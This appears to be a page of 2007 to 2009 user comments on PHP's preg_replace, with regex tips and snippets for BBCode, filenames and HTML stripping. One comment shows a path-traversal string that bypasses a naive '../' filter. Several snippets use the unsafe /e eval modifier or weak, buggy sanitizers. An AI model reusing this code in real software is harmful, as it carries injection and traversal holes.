M'écrire si vous avez des questions !  :)
Email me for any questions !  :)
natedubya at no spam dot gmail dot com 02-Oct-2009 09:08
As a pertinent note, there's an issue with this function where parsing any string longer than 94326 characters long will silently return null. So be careful where you use it at.
info at gratisrijden dot nl 01-Oct-2009 07:48
if you are using the preg_replace with arrays, the replacements will apply as subject for the patterns later in the array. This means replaced values can be replaced again.

Example:
<?php
$text = 'We want to replace BOLD with the <boldtag> and OLDTAG with the <newtag>';

$patterns = array('/BOLD/i', '/OLDTAG/i');
$replacements = array('<boldtag>', '<newtag>');

echo preg_replace ($patterns, $replacements, $text);
?>

Output:
We want to replace <b<newtag>> with the <<b<newtag>>tag> and <newtag> with the <newtag>

Look what happend with BOLD.
alammar at gmail dot com 24-Jul-2009 02:02
I was writing a web crawler and wanted to limit its range to one website. I needed to dynamically escape the urls so I wrote the following function:

<?php

//Escape a string to be used as a regular expression pattern
//Ex: escape_string_for_regex('http://www.example.com/s?q=php.net+docs')
// returns http:\/\/www\.example\.com\/s\?q=php\.net\+docs
function escape_string_for_regex($str)
{
        //All regex special chars (according to arkani at iol dot pt below):
        // \ ^ . $ | ( ) [ ]
        // * + ? { } ,

        $patterns = array('/\//', '/\^/', '/\./', '/\$/', '/\|/',
 '/\(/', '/\)/', '/\[/', '/\]/', '/\*/', '/\+/',
'/\?/', '/\{/', '/\}/', '/\,/');
        $replace = array('\/', '\^', '\.', '\$', '\|', '\(', '\)',
'\[', '\]', '\*', '\+', '\?', '\{', '\}', '\,');

        return preg_replace($patterns,$replace, $str);
}

?>
marco dot demaio at vanylla dot it 24-Jul-2009 03:56
Maybe it's better to avoid using \w and \W character class matches because they behave differently depending on locale server settings, therefore you will end up with a regular expression match that changes its behavior depending upon server settings.

<?php
   /*
   according to most websites the regexp sintax [\w] is identical to [A-Za-z0-9_]

   See:
   http://en.wikipedia.org/wiki/Regular_expression
   http://msdn.microsoft.com/en-us/library/1400241x(VS.85).aspx
   */

   $result1 = preg_replace('/[A-Za-z0-9_]*/', '', "test àèìòù test");
   $result2 = preg_replace('/\w*/', '', "test àèìòù test");

   echo "<pre>[" . $result1 . "]</pre>"; //ok, it shows: "[ àèìòù ]"
   echo "<pre>[" . $result2 . "]</pre>"; //WARNING on server other than UK/US locale, it shows: "[  ]"

   /*
   Why does this happen?
   preg_replace uses Perl Compatible Regular Expressions and NOT POSIX regular exp sintax.
   Therefore a minor difference is that in the former one the \w charcater class matches also
   the accented characters depending on locale settings.

   See: http://perldoc.perl.org/perlre.html#Regular-Expressions
   */
?>
mybodya at gmail dot com 14-Jul-2009 04:40
This works fine for windows, linux and mac, encoding cp1251

<?php
function valid_filename($str)
    return preg_replace('/[^0-9a-zа-яіїё\`\~\!\@\#\$\%\^\*\(\)\; \,\.\'\/\_\-]/i', ' ',$str);
}
?>

can be used html without htmlspetialchars()
spcmky at gmail dot com 24-Apr-2009 07:15
Using this for SEO urls. I had to modify it a bit to get through the word wrap.  Pretty sure you can one line it a lot of it.

<?php
public static function encodeUrlParam ( $string )
{
  $string = trim($string);

  if ( ctype_digit($string) )
  {
    return $string;
  }
  else
  {
    // replace accented chars
    $accents = '/&([A-Za-z]{1,2})(grave|acute|circ|cedil|uml|lig);/';
    $string_encoded = htmlentities($string,ENT_NOQUOTES,'UTF-8');

    $string = preg_replace($accents,'$1',$string_encoded);

    // clean out the rest
    $replace = array('([\40])','([^a-zA-Z0-9-])','(-{2,})');
    $with = array('-','','-');
    $string = preg_replace($replace,$with,$string);
  }

  return strtolower($string);
}
?>
atifrashid at hotmail dot com 15-Apr-2009 11:56
To make seo url from title or any text:

<?php
function CleanFileName( $Raw ){
    $Raw = trim($Raw);
    $RemoveChars  = array( "([\40])" , "([^a-zA-Z0-9-])", "(-{2,})" );
    $ReplaceWith = array("-", "", "-");
    return preg_replace($RemoveChars, $ReplaceWith, $Raw);
}

echo CleanFileName('whatever $4 sd- -sdf- @    sd 8 as +% sdf ;');
?>
hubert at uhoreg dot ca 07-Apr-2009 05:09
The issue described by arie below is not actually a bug, but expected behaviour.  The PCRE Regular Expression Details says: "The definition of letters and digits is controlled by PCRE's character tables, and may vary if locale-specific matching is taking place. For example, in the "fr" (French) locale, some character codes greater than 128 are used for accented letters, and these are matched by \w."
arie dot benichou at gmail dot com 09-Mar-2009 12:50
<?php
//Be carefull with utf-8, even with unicode and utf-8 support enabled, a pretty odd bug occurs depending on your operating system
$str = "Hi, my name is Arié!<br />";
echo preg_replace('#\bArié\b#u', 'Gontran', $str);
//on windows system, output is "Hi, my name is Gontran<br />"
//on unix system, output is "Hi, my name is Arié<br />"
echo preg_replace('#\bArié(|\b)#u', 'Gontran', $str);
//on windows and unix system, output is "Hi, my name is Gontran<br />"
arkani at iol dot pt 04-Mar-2009 11:00
Because i search a lot 4 this:

The following should be escaped if you are trying to match that character

\ ^ . $ | ( ) [ ]
* + ? { } ,

Special Character Definitions
\ Quote the next metacharacter
^ Match the beginning of the line
. Match any character (except newline)
$ Match the end of the line (or before newline at the end)
| Alternation
() Grouping
[] Character class
* Match 0 or more times
+ Match 1 or more times
? Match 1 or 0 times
{n} Match exactly n times
{n,} Match at least n times
{n,m} Match at least n but not more than m times
More Special Character Stuff
\t tab (HT, TAB)
\n newline (LF, NL)
\r return (CR)
\f form feed (FF)
\a alarm (bell) (BEL)
\e escape (think troff) (ESC)
\033 octal char (think of a PDP-11)
\x1B hex char
\c[ control char
\l lowercase next char (think vi)
\u uppercase next char (think vi)
\L lowercase till \E (think vi)
\U uppercase till \E (think vi)
\E end case modification (think vi)
\Q quote (disable) pattern metacharacters till \E
Even More Special Characters
\w Match a "word" character (alphanumeric plus "_")
\W Match a non-word character
\s Match a whitespace character
\S Match a non-whitespace character
\d Match a digit character
\D Match a non-digit character
\b Match a word boundary
\B Match a non-(word boundary)
\A Match only at beginning of string
\Z Match only at end of string, or before newline at the end
\z Match only at end of string
\G Match only where previous m//g left off (works only with /g)
akam AT akameng DOT com 17-Feb-2009 04:02
<?php
$converted    =
array(
//3 of special chars

'/(;)/ie',
'/(#)/ie',
'/(&)/ie',

//MySQL reserved words!
//Check mysql website!
'/(ACTION)/ie', '/(ADD)/ie', '/(ALL)/ie', '/(ALTER)/ie', '/(ANALYZE)/ie', '/(AND)/ie', '/(AS)/ie', '/(ASC)/ie',

//remaining of special chars
'/(<)/ie', '/(>)/ie', '/(\.)/ie', '/(,)/ie', '/(\?)/ie', '/(`)/ie', '/(!)/ie', '/(@)/ie', '/(\$)/ie', '/(%)/ie', '/(\^)/ie', '/(\*)/ie', '/(\()/ie', '/(\))/ie', '/(_)/ie', '/(-)/ie', '/(\+)/ie',
'/(=)/ie', '/(\/)/ie', '/(\|)/ie', '/(\\\)/ie', "/(')/ie", '/(")/ie', '/(:)/'
);

$input_text = preg_replace($converted, "UTF_to_Unicode('\\1')", $text);

function UTF_to_Unicode($data){

//return $data;
}
?>
The above example useful for filtering input data, then saving into mysql database, it's not need tobe decoded again, just use UTF-8 as charset.
Please Note escaping special chars between delimiter..
Svoop 10-Feb-2009 05:41
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
neamar at neamar dot fr 04-Jan-2009 12:08
I was needing regular expression with brace matching, but i was not able to find anything for this problem.
So, if i had :
\bold{something \underline{another thing} and another bold thing}
My regexp would stop at the first closing brace, and it seemed to be a common problem with regular expression, often discussed on forums.

So here is the snippet i used, perhaps it'll be useful :
<?php
    function preg_replace_with_braces($Regexp,$Remplacement,$Texte)
    {
        preg_match_all($Regexp,$Texte,$Resultats,PREG_SET_ORDER);

        $SVGRemplacement=$Remplacement;
        foreach($Resultats as $Resultat)
        {//For each result
            $Remplacement=$SVGRemplacement;
            foreach($Resultat as $n=>$Match)
            {//For each set of capturing parenthesis
                if($n>0 && strpos($Match,'{')!==false)
                {//We find a open brace in our regexp : we'll need to find the closing one !
                    $InitialMatch=$Match;
                    $Offset=strpos($Texte,$Resultat[0]);
                    $Offset=strpos($Texte,$Match,$Offset);//We move the caret to the good place : let's start !
                    $Depart=$Offset;
                    $Taille=strlen($Texte);
                    $NestingLevel=0;
                    while($NestingLevel>=0 && $Offset<$Taille)
                    {//Browse the string, searching for braces. Perhaps the most important place !
                        $Offset++;
                        if($Texte[$Offset]=='{')
                            $NestingLevel++;
                        elseif($Texte[$Offset]=='}')
                            $NestingLevel--;
                    }
                    $Match=substr($Texte,$Depart,$Offset-$Depart);
                    $Resultat[0]=str_replace($InitialMatch,$Match,$Resultat[0]);
                }
                $Remplacement=str_replace('$' . $n,$Match,$Remplacement);
            }
            $Texte=str_replace($Resultat[0],$Remplacement,$Texte);
        }
        return $Texte;
    }
?>
Hope it'll be useful !
I know it's pretty odd and unclean, but that was a quick workaround i had.
callummann at blueyonder dot co dot uk 31-Dec-2008 04:31
For BBcode, rather than having two different arrays you can use the same one.

<?php

$bbcode = array(

"/\[b\](.*?)\[\/b\]/is" => "<strong>$1</strong>",
"/\[u\](.*?)\[\/u\]/is" => "<u>$1</u>",
"/\[url\=(.*?)\](.*?)\[\/b\]/is" => "<a href='$1'>$2</a>"

);
$text = "[b]Text[/b][u]Text[/u]";

$text = preg_replace(array_keys($bbcode), array_values($bbcode), $text);

?>
montana [at] percepticon [dot] com 23-Dec-2008 12:47
<?php
/*

Coding across linux, mac, and windows gets annoying dealing with errors resulting from EOL format in config files, etc.

Standardize to CRLF format.

Instead of using one regex I just broke this up into smaller groups -
may take longer to execute three statements rather than one,
but it also granularizes the use case.

*/
//different formats all living together
$s = "Testing 1.\r" . "Testing 2.\n" . "Testing 3.\r\n" . "Testing 4.\n\r:END";

$s = preg_replace("/(?<!\\n)\\r+(?!\\n)/", " :REPLACED: \r\n", $s); //replace just CR with CRLF
$s = preg_replace("/(?<!\\r)\\n+(?!\\r)/", " :REPLACED: \r\n", $s); //replace just LF with CRLF
$s = preg_replace("/(?<!\\r)\\n\\r+(?!\\n)/", " :REPLACED: \r\n", $s); //replace misordered LFCR with CRLF

echo $s;

/*

output:

Testing 1. :REPLACED:
Testing 2. :REPLACED:
Testing 3.
Testing 4. :REPLACED:
:END

*/
?>
mdrisser at gmail dot com 28-Nov-2008 10:13
An alternative to the method suggested by sheri is to remember that the regex modifier '$' only looks at the end of the STRING, the example given is a single string consisting of multiple lines.

Try:
<?php
// Following is 1 string containing 3 lines
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.\\r\\n/m', '@\r\n', $s);
?>

This results in the string:
Testing, testing@\r\nAnother testing line@\r\nTesting almost done.
jette at nerdgirl dot dk 19-Nov-2008 04:47
I use this to prevent users from overdoing repeated text. The following function only allows 3 identical characters at a time and also takes care of repetitions with whitespace added.

This means that 'haaaaaaleluuuujaaaaa' becomes 'haaaleluuujaaa' and 'I am c o o o o o o l' becomes 'I am c o o o l'

<?php
//Example of user input
$str = "aaaaaaaaaaabbccccccccaaaaad d d d   d      d d ddde''''''''''''";

function stripRepeat($str) {
  //Do not allow repeated whitespace
  $str = preg_replace("/(\s){2,}/",'$1',$str);
  //Result: aaaaaaaaaaabbccccccccaaaaad d d d d d d ddde''''''''''''

  //Do not allow more than 3 identical characters separated by any whitespace
  $str = preg_replace('{( ?.)\1{4,}}','$1$1$1',$str);
  //Final result: aaabbcccaaad d d ddde'''

  return $str;
}
?>

To prevent any repetitions of characters, you only need this:

<?php
$str = preg_replace('{(.)\1+}','$1',$str);
//Result: abcad d d d d d d de'
?>
7r6ivyeo at mail dot com 17-Nov-2008 09:25
String to filename:

<?php
function string_to_filename($word) {
    $tmp = preg_replace('/^\W+|\W+$/', '', $word); // remove all non-alphanumeric chars at begin & end of string
    $tmp = preg_replace('/\s+/', '_', $tmp); // compress internal whitespace and replace with _
    return strtolower(preg_replace('/\W-/', '', $tmp)); // remove all non-alphanumeric chars except _ and -
}
?>

Returns a usable & readable filename.
Sheri 22-Sep-2008 02:32
The situation described below by dyer85 at gmail on 28-Aug-2008 at 08:41 can be addressed (since PCRE version 7.3) by including "(*ANYCRLF)" at the start of the pattern. Then linebreaks will be detected for line endings typical of unix, mac and PC texts.

When included in the pattern for the example cited, all expected replacements are made.

<?php
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/(*ANYCRLF)\.$/m', '.@', $s);
?>
tal at ashkenazi dot co dot il 14-Sep-2008 01:46
after long time of tring get rid of \n\r and <BR> stuff i've came with this...
(i done some changes in clicklein() function...)

<?php
    function clickable($url){
        $url                                    =    str_replace("\\r","\r",$url);
        $url                                    =    str_replace("\\n","\n<BR>",$url);
        $url                                    =    str_replace("\\n\\r","\n\r",$url);

        $in=array(
        '`((?:https?|ftp)://\S+[[:alnum:]]/?)`si',
        '`((?<!//)(www\.\S+[[:alnum:]]/?))`si'
        );
        $out=array(
        '<a href="$1"  rel=nofollow>$1</a> ',
        '<a href="http://$1" rel=\'nofollow\'>$1</a>'
        );
        return preg_replace($in,$out,$url);
    }

?>
dyer85 at gmail dot com 28-Aug-2008 07:41
There seems to be some unexpected behavior when using the /m modifier when the line terminators are win32 or mac format.

If you have a string like below, and try to replace dots, the regex won't replace correctly:

<?php
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.$/m', '.@', $s); // only last . replaced
?>

The /m modifier doesn't seem to work properly when CRLFs or CRs are used. Make sure to convert line endings to LFs (*nix format) in your input string.
tasser at ne8 dot in 23-Aug-2008 01:42
preg_replace is greedy by default, and the behaviour of ? on the pattern is to make it non-greedy contrary to what i read on PCRE docs.

<?php
$str ="asdfd adsfd aaaadasd";

$str = preg_replace("/(a)(.*)(d)/","a($2)d",$str);
// a(sdfd adsfd aaaadas)d

$str = preg_replace("/(a)(.*)?(d)/U","a($2)d",$str);
// a(s)dfd a()dsfd a(aaa)da(s)d
?>

which is what i wanted.
halityesil [ at at] globya [ dot dot] net 31-Jul-2008 06:08
<?PHP

function strip_tags_attributes($sSource, $aAllowedTags = FALSE, $aDisabledAttributes = FALSE, $aAllowedProperties = 'font|font-size|font-weight|color' . '|text-align|text-decoration|margin|margin-left' . '|margin-top|margin-bottom|margin-right|padding' . '|padding-top|padding-left|padding-right|padding-bottom' . '|width|height'){

   if( !is_array( $aDisabledAttributes ) ){
      $aDisabledAttributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   }

   $sSource = stripcslashes( $sSource );

   $sSource = strip_tags( $sSource, $aAllowedTags );

   if( empty($aDisabledAttributes) ){
      return $sSource;
   }

   $aDisabledAttributes = @ implode('|', $aDisabledAttributes);

   $sSource = preg_replace('/<(.*?)>/ie', "'<' . preg_replace(array('/javascript:[^\"\']*/i', '/(" . $aDisabledAttributes . ")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", $sSource );
   $sSource = preg_replace('/\s(' . $aDisabledAttributes . ').*?([\s\>])/', '\\2', $sSource);

   $regexp = '@([^;"]+)?(?<!'. $aAllowedProperties .'):(?!\/\/(.+?)\/)((.*?)[^;"]+)(;)?@is';
   $sSource = preg_replace($regexp, '', $sSource);
   $sSource = preg_replace('@[a-z]*=""@is', '', $sSource);

   return $sSource;
}

?>

Online resource help skype name : globya

good luck !
Anonymous 30-Jul-2008 09:21
People using functions like scandir with user input and protecting against "../" by using preg_replace make sure you run ir recursivly untill preg_match no-long finds it, because if you don't the following can happen.

If a user gives the path:
"./....//....//....//....//....//....//....//"
then your script detects every "../" and removes them leaving:
"./../../../../../../../"
Which is proberly going back enough times to show root.

I just found this vunrability in an old script of mine, which was written several years ago.

Always do:
<?php
while( preg_match( [expression], $input ) )
{
   $input = preg_replace( [expression], "", $input );
}
?>
Robert Hartung 30-Jul-2008 05:34
I just was trying to make a negated replace with a string NOT being in another string.

The code that is actually working:

<?php
$result = preg_replace('#{(?!disable1|disable2)[a-z0-9]+}#is', '$1', $foo);
?>

This code matches on all strings that do NOT start with "disable1" or "disable2" and contain of a-z0-9. It took me several hours to figuere out this very easy example!

Hope anyone could use it
marcin at pixaltic dot com 25-Jul-2008 03:56
<?php
    //:::replace with anything that you can do with searched string:::
    //Marcin Majchrzak
    //pixaltic.com

    $c = "2 4 8";
    echo ($c); //display:2 4 8

    $cp = "/(\d)\s(\d)\s(\d)/e"; //pattern
    $cr = "'\\3*\\2+\\1='.(('\\3')*('\\2')+('\\1'))"; //replece
    $c = preg_replace($cp, $cr, $c);
    echo ($c); //display:8*4+2=34
?>
dweintraub at solbright dot com 16-Jul-2008 03:23
When you use the '$1', '$2', etc. replacement values, they can be either in double or single quotes. There is no need to worry about the dollar sign being interpreted as a variable or not:

<?php
print preg_replace("/I want (\S+) one/", "$1 is the one I want", "I want that one") . "\n";
print preg_replace("/I want (\S+) one/", '$1 is the one I want', "I want that one") . "\n";
?>

Both lines will print "that is the one I want".
David 11-Jul-2008 04:59
Take care when you try to strip whitespaces out of an UTF-8 text. Using something like:

<?php
$text = preg_replace( "{\s+}", ' ', $text );
?>

brokes in my case the letter à which is hex c3a0. But a0 is a whitespace. So use

<?php
$text = preg_replace( "{[ \t]+}", ' ', $text );
?>

to strip all spaces and tabs, or better, use a multibyte function like mb_ereg_replace.
akniep at rayo dot info 07-Jul-2008 03:22
preg_replace (and other preg-functions) return null instead of a string when encountering problems you probably did not think about!
-------------------------

It may not be obvious to everybody that the function returns NULL if an error of any kind occurres. An error I happen to stumple about quite often was the back-tracking-limit:
http://de.php.net/manual/de/pcre.configuration.php
#ini.pcre.backtrack-limit

When working with HTML-documents and their parsing it happens that you encounter documents that have a length of over 100.000 characters and that may lead to certain regular-expressions to fail due the back-tracking-limit of above.

A regular-expression that is ungreedy ("U", http://de.php.net/manual/de/reference.pcre.pattern.modifiers.php) often does the job, but still: sometimes you just need a greedy regular expression working on long strings ...

Since, an unhandled return-value of NULL usually creates a consecutive error in the application with unwanted and unforeseen consequences, I found the following solution to be quite helpful and at least save the application from crashing:

<?php

$string_after = preg_replace( '/some_regexp/', "replacement", $string_before );

// if some error occurred we go on working with the unchanged original string
if (PREG_NO_ERROR !== preg_last_error())
{
    $string_after = $string_before;

    // put email-sending or a log-message here
} //if

// free memory
unset( $string_before );

?>

You may or should also put a log-message or the sending of an email into the if-condition in order to get informed, once, one of your regular-expressions does not have the effect you desired it to have.
da_pimp2004_966 at hotmail dot com 20-Jun-2008 11:09
A simple BB like thing..

<?php
function AddBB($var) {
        $search = array(
                '/\[b\](.*?)\[\/b\]/is',
                '/\[i\](.*?)\[\/i\]/is',
                '/\[u\](.*?)\[\/u\]/is',
                '/\[img\](.*?)\[\/img\]/is',
                '/\[url\](.*?)\[\/url\]/is',
                '/\[url\=(.*?)\](.*?)\[\/url\]/is'
                );

        $replace = array(
                '<strong>$1</strong>',
                '<em>$1</em>',
                '<u>$1</u>',
                '<img src="$1" />',
                '<a href="$1">$1</a>',
                '<a href="$1">$2</a>'
                );

        $var = preg_replace ($search, $replace, $var);
        return $var;
}
?>
Michael W 16-Apr-2008 03:35
For filename tidying I prefer to only ALLOW certain characters rather than converting particular ones that we want to exclude. To this end I use ...

<?php
  $allowed = "/[^a-z0-9\\040\\.\\-\\_\\\\]/i";
  preg_replace($allowed,"",$str));
?>

Allows letters a-z, digits, space (\\040), hyphen (\\-), underscore (\\_) and backslash (\\\\), everything else is removed from the string.
php-comments-REMOVE dot ME at dotancohen dot com 29-Feb-2008 12:02
Below is a function for converting Hebrew final characters to their
normal equivelants should they appear in the middle of a word.
The /b argument does not treat Hebrew letters as part of a word,
so I had to work around that limitation.

<?php

$text="עברית מבולגנת";

function hebrewNotWordEndSwitch ($from, $to, $text) {
   $text=
    preg_replace('/'.$from.'([א-ת])/u','$2'.$to.'$1',$text);
   return $text;
}

do {
   $text_before=$text;
   $text=hebrewNotWordEndSwitch("ך","כ",$text);
   $text=hebrewNotWordEndSwitch("ם","מ",$text);
   $text=hebrewNotWordEndSwitch("ן","נ",$text);
   $text=hebrewNotWordEndSwitch("ף","פ",$text);
   $text=hebrewNotWordEndSwitch("ץ","צ",$text);
}   while ( $text_before!=$text );

print $text; // עברית מסודרת!

?>

The do-while is necessary for multiple instances of letters, such
as "אנני" which would start off as "אןןי". Note that there's still the
problem of acronyms with gershiim but that's not a difficult one
to solve. The code is in use at http://gibberish.co.il which you can
use to translate wrongly-encoded Hebrew, transliterize, and some
other Hebrew-related functions.

To ensure that there will be no regular characters at the end of a
word, just convert all regular characters to their final forms, then
run this function. Enjoy!
Jacob Fogg 14-Jan-2008 01:29
Here is my attempt at cleaning up a file name... it's similar to  what someone else has done however a little cleaner with the addition of the | in the reserved characters... also I clean any characters from x00 to x40 (all non display characters and space) as well as everything greater than 7f and greater (removes the Del character and other non English characters), replacing them with an '_'.

<?php
function clean_filename($filename){//function to clean a filename string so it is a valid filename
  $reserved = preg_quote('\/:*?"<>|', '/');//characters that are  illegal on any of the 3 major OS's
  //replaces all characters up through space and all past ~ along with the above reserved characters
  return preg_replace("/([\\x00-\\x20\\x7f-\\xff{$reserved}])/e", "_", $filename);
}
?>

[EDIT BY danbrown AT php DOT net: Inserted typofix/bugfix provided by "Bryan Roach" on 15 January, 2008.]
admin[a-t]saltwaterc[d0t]net 11-Dec-2007 08:17
<?php
function repl_amp($text)
    {
    $text=preg_replace("/&(?!amp;)/i", "&", $text);
    $text=preg_replace("/&#(\d+);/i", "&#$1;", $text); // For numeric entities
    $text=preg_replace("/&(\w+);/i", "&$1;", $text); // For literal entities
    return $text;
    }
?>

The RegEx Tester says that the first expression is OK, but when testing with various entities, some of them came out broken. I'd tried to use only 2 preg_replace(); calls instead of three by using the alternative branch from the pattern syntax - which didn't came out well. Sorry for the previous error, and I still hope that someone can find a better alternative.
ulf dot reimers at tesa dot com 07-Dec-2007 10:28
Hi,

as I wasn't able to find another way to do this, I wrote a function converting any UTF-8 string into a correct NTFS filename (see http://en.wikipedia.org/wiki/Filename).

<?php
function strToNTFSFilename($string)
{
  $reserved = preg_quote('\/:*?"<>', '/');
  return preg_replace("/([\\x00-\\x1f{$forbidden}])/e", "_", $string);
}
?>

It converts all control characters and filename characters which are reserved by Windows ('\/:*?"<>') into an underscore.
This way you can safely create an NTFS filename out of any UTF-8 string.
mike dot hayward at mikeyskona dot co dot uk 18-Oct-2007 08:49
Hi.
Not sure if this will be a great help to anyone out there, but thought i'd post just in case.
I was having an Issue with a project that relied on $_SERVER['REQUEST_URI']. Obviously this wasn't working on IIS.
(i am using mod_rewrite in apache to call up pages from a database and IIS doesn't set REQUEST_URI). So i knocked up this simple little preg_replace to use the query string set by IIS when redirecting to a PHP error page.

<?php
//My little IIS hack :)
if(!isset($_SERVER['REQUEST_URI'])){
  $_SERVER['REQUEST_URI'] = preg_replace( '/404;([a-zA-Z]+:\/\/)(.*?)\//i', "/" , $_SERVER['QUERY_STRING'] );
}
?>

Hope this helps someone else out there trying to do the same thing :)
sternkinder at gmail dot com 24-Aug-2007 03:10
From what I can see, the problem is, that if you go straight and substitute all 'A's wit 'T's you can't tell for sure which 'T's to substitute with 'A's afterwards. This can be for instance solved by simply replacing all 'A's by another character (for instance '_' or whatever you like), then replacing all 'T's by 'A's, and then replacing all '_'s (or whatever character you chose) by 'A's:

<?php
$dna = "AGTCTGCCCTAG";
echo str_replace(array("A","G","C","T","_","-"), array("_","-","G","A","T","C"), $dna); //output will be TCAGACGGGATC
?>

Although I don't know how transliteration in perl works (though I remember that is kind of similar to the UNIX command "tr") I would suggest following function for "switching" single chars:

<?php
function switch_chars($subject,$switch_table,$unused_char="_") {
    foreach ( $switch_table as $_1 => $_2 ) {
        $subject = str_replace($_1,$unused_char,$subject);
        $subject = str_replace($_2,$_1,$subject);
        $subject = str_replace($unused_char,$_2,$subject);
    }
    return $subject;
}

echo switch_chars("AGTCTGCCCTAG", array("A"=>"T","G"=>"C")); //output will be TCAGACGGGATC
?>
rob at ubrio dot us 21-Aug-2007 01:48
Also worth noting is that you can use array_keys()/array_values() with preg_replace like:

<?php
$subs = array(
  '/\[b\](.+)\[\/b\]/Ui' => '<strong>$1</strong>',
  '/_(.+)_/Ui' => '<em>$1</em>'
  ...
  ...
);

$raw_text = '[b]this is bold[/b] and this is _italic!_';

$bb_text = preg_replace(array_keys($subs), array_values($subs), $raw_text);
?>
lehongviet at gmail dot com 25-Jul-2007 01:15
I got problem echoing text that contains double-quotes into a text field. As it confuses value option. I use this function below to match and replace each pair of them by smart quotes. The last one will be replaced by a hyphen(-).

It works for me.

<?php
function smart_quotes($text) {
  $pattern = '/"((.)*?)"/i';
  $text = preg_replace($pattern,"“\\1”",stripslashes($text));
  $text = str_replace("\"","-",$text);
  $text = addslashes($text);
  return $text;
}
?>
131 dot php at cloudyks dot org 17-Jul-2007 04:37
Based on previous comment, i suggest
( this function already exist in php 6 )

<?php
function unicode_decode($str){
    return preg_replace(
        '#\\\u([0-9a-f]{4})#e',
        "unicode_value('\\1')",
        $str);
}

function unicode_value($code) {
    $value=hexdec($code);
    if($value<0x0080)
        return chr($value);
    elseif($value<0x0800)
        return chr((($value&0x07c0)>>6)|0xc0)
            .chr(($value&0x3f)|0x80);
    else
        return chr((($value&0xf000)>>12)|0xe0)
        .chr((($value&0x0fc0)>>6)|0x80)
        .chr(($value&0x3f)|0x80);
}
?>

[EDIT BY danbrown AT php DOT net:  This function originally written by mrozenoer AT overstream DOT net.]
mtsoft at mt-soft dot com dot ar 09-Jul-2007 02:30
This function takes a URL and returns a plain-text version of the page. It uses cURL to retrieve the page and a combination of regular expressions to strip all unwanted whitespace. This function will even strip the text from STYLE and SCRIPT tags, which are ignored by PHP functions such as strip_tags (they strip only the tags, leaving the text in the middle intact).

Regular expressions were split in 2 stages, to avoid deleting single carriage returns (also matched by \s) but still delete all blank lines and multiple linefeeds or spaces, trimming operations took place in 2 stages.

<?php
function webpage2txt($url)
{
$user_agent = “Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)”;

$ch = curl_init();    // initialize curl handle
curl_setopt($ch, CURLOPT_URL, $url); // set url to post to
curl_setopt($ch, CURLOPT_FAILONERROR, 1);              // Fail on errors
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);    // allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_PORT, 80);            //Set the port number
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // times out after 15s

curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);

$document = curl_exec($ch);

$search = array(’@<script[^>]*?>.*?</script>@si’,  // Strip out javascript
‘@<style[^>]*?>.*?</style>@siU’,    // Strip style tags properly
‘@<[\/\!]*?[^<>]*?>@si’,            // Strip out HTML tags
‘@<![\s\S]*?–[ \t\n\r]*>@’,         // Strip multi-line comments including CDATA
‘/\s{2,}/’,

);

$text = preg_replace($search, “\n”, html_entity_decode($document));

$pat[0] = “/^\s+/”;
$pat[2] = “/\s+\$/”;
$rep[0] = “”;
$rep[2] = ” “;

$text = preg_replace($pat, $rep, trim($text));

return $text;
}
?>

Potential uses of this function are extracting keywords from a webpage, counting words and things like that. If you find it useful, drop us a comment and let us know where you used it.
ismith at nojunk dot motorola dot com 21-Mar-2007 09:47
Be aware that when using the "/u" modifier, if your input text contains any bad UTF-8 code sequences, then preg_replace will return an empty string, regardless of whether there were any matches.

This is due to the PCRE library returning an error code if the string contains bad UTF-8.
dani dot church at gmail dot youshouldknowthisone 07-Feb-2007 11:09
Note that it is in most cases much more efficient to use preg_replace_callback(), with a named function or an anonymous function created with create_function(), instead of the /e modifier.  When preg_replace() is called with the /e modifier, the interpreter must parse the replacement string into PHP code once for every replacement made, while preg_replace_callback() uses a function that only needs to be parsed once.
Alexey Lebedev 07-Sep-2006 02:21
Wasted several hours because of this:

<?php
$str='It&#039;s a string with HTML entities';
preg_replace('~&#(\d+);~e', 'code2utf($1)', $str);
?>

This code must convert numeric html entities to utf8. And it does with a little exception. It treats wrong codes starting with &#0

The reason is that code2utf will be called with leading zero, exactly what the pattern matches - code2utf(039).
And it does matter! PHP treats 039 as octal number.
Try <?php print(011); ?>

Solution:
<?php preg_replace('~&#0*(\d+);~e', 'code2utf($1)', $str); ?>
robvdl at gmail dot com 21-Apr-2006 05:15
For those of you that have ever had the problem where clients paste text from msword into a CMS, where word has placed all those fancy quotes throughout the text, breaking the XHTML validator... I have created a nice regular expression, that replaces ALL high UTF-8 characters with HTML entities, such as ’.

